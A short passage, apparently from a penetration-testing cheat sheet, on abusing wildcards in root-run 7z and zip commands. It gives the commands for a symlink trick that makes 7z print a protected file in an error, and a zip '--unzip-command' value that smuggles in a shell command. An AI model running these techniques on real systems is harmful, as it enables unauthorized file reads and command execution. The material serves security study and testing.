## 7z
|
|
|
|
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
|
|
|
|
```bash
|
|
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
|
```
|
|
|
|
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
|
|
|
|
```bash
|
|
cd /path/to/7z/acting/folder
|
|
touch @root.txt
|
|
ln -s /file/you/want/to/read root.txt
|
|
```
|
|
|
|
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.

## Zip
|
|
|
|

|
|
|
|
```bash
|
|
zip name.zip files -T --unzip-command "sh -c whoami"
|
|
```
